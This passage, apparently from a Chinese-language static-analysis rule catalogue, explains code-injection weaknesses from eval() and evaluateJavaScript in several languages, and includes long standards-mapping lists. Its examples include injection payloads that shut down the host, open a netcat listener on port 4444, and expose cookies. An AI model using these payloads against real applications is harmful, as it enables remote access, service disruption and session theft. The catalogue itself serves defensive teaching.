[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[35] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[36] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.php.dynamic_code_evaluation_code_injection
Abstract
在运行时中解析用户控制的指令,会让攻击者有机会执行恶意代码。
Explanation
许多现代编程语言都允许动态解析源代码指令。这使得程序员可以执行基于用户输入的动态指令。当程序员错误地认为由用户直接提供的指令仅会执行一些无害的操作时(如对当前的用户对象进行简单的计算或修改用户的状态),就会出现 code injection 漏洞:然而,若不经过适当的验证,用户指定的操作可能并不是程序员最初所期望的。

示例 1:在这一典型的代码注入示例中,应用程序实施的基本计算器允许用户指定要执行的命令。


...
userOps = request.GET['operation']
result = eval(userOps)
...


如果 operation 参数的值为良性值,程序就可以正常运行。例如,当该值为“8 + 7 * 2”时,result 变量被赋予的值将为 22。然而,如果攻击者指定的语言操作是有效的,又是恶意的,那么,将在对主进程具有完全权限的情况下执行这些操作。如果底层语言提供了访问系统资源的途径或允许执行系统命令,这种攻击甚至会更加危险。例如,如果攻击者计划将“os.system('shutdown -h now')”指定为 operation 的值,主机系统就会执行关机命令。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.4 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.5.4 Deserialization Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 14.2.3 Dependency (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[16] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[35] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[36] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.python.dynamic_code_evaluation_code_injection
Abstract
在运行时中解析用户控制的指令,会让攻击者有机会执行恶意代码。
Explanation
许多现代编程语言都允许动态解析源代码指令。这使得程序员可以执行基于用户输入的动态指令。当程序员错误地认为由用户直接提供的指令仅会执行一些无害的操作时(如对当前的用户对象进行简单的计算或修改用户的状态),就会出现 code injection 漏洞:然而,若不经过适当的验证,用户指定的操作可能并不是程序员最初所期望的。
示例 1:在此代码注入示例中,应用程序实现了一个基本的计算器,以便允许用户指定要执行的命令。


...
user_ops = req['operation']
result = eval(user_ops)
...


如果 operation 参数的值为良性值,程序就可以正常运行。例如,当该值为 "8 + 7 * 2" 时,result 变量被赋予的值将为 22。然而,如果攻击者指定的语言操作既有可能是有效的,又有可能是恶意的,那么,只有在对主进程具有完全权限的情况下才能执行这些操作。如果底层语言提供了访问系统资源的途径或允许执行系统命令,这种攻击甚至会更加危险。借助 Ruby,这可以实现,因为通过使用分号 (;) 分隔这些行,可以运行多个命令,此外,使用一个简单的注入,也可以运行多个命令,同时还没有破坏程序。
如果攻击者要提交参数 operation "system(\"nc -l 4444 &\");8+7*2",那么这将打开端口 4444 以侦听计算机上的连接,然后仍然将值 22 返回到 result
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.4 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.5.4 Deserialization Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 14.2.3 Dependency (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[16] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[35] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[36] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.ruby.dynamic_code_evaluation_code_injection
Abstract
在运行时中解析用户控制的指令,会让攻击者有机会执行恶意代码。
Explanation
许多现代编程语言都允许动态解析源代码指令。这使得程序员可以执行基于用户输入的动态指令。当程序员错误地认为由用户直接提供的指令仅会执行一些无害的操作时(如对当前的用户对象进行简单的计算或修改用户的状态),就会出现 code injection 漏洞:然而,若不经过适当的验证,用户指定的操作可能并不是程序员最初所期望的。

示例 1:以下代码使用 UITextField 的输入,以动态更改 WKWebView 中内容的背景颜色:


...
var webView : WKWebView
var inputTextField : UITextField
...
webView.evaluateJavaScript("document.body.style.backgroundColor="\(inputTextField.text)";" completionHandler:nil)
...


当 UITextField 输入是良性值(如“blue”)时,程序可以正常运行,在这种情况下,webView 中的 <body> 元素会设置为蓝色背景样式。然而,如果攻击者提供仍然有效的恶意输入,则也许能够执行任意 JavaScript 代码。例如,因为 JavaScript 可以访问特定类型的私人信息(如 cookies),所以如果攻击者指定 “white";document.body.innerHTML=document.cookie;”作为 UITextField 的输入,cookie 信息将会以可视方式写入页面中。当底层语言提供了对系统资源的访问或允许执行系统命令时,此类攻击甚至更危险,因为在这些情况下,将在对主进程具有完全权限的情况下执行注入的代码。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.4 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.5.4 Deserialization Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 14.2.3 Dependency (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[16] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[35] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[36] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.swift.dynamic_code_evaluation_code_injection
Abstract
从不可信赖的数据源执行任意源代码指令会导致系统执行恶意代码。
Explanation
许多现代语言都允许动态解析源代码指令。如果程序员需要由用户提供的指令对数据操作,这种情况下可以应用这种功能。当然,我们更愿意利用底层语言构造,而不是通过执行代码来解析用户输入。由用户提供的指令预期执行一些无害的操作,例如,对当前的用户对象进行简单计算或修改用户对象的状态,等等。然而,如果程序员不够细心,用户指定的操作范围可能会超出程序员最初的设想。

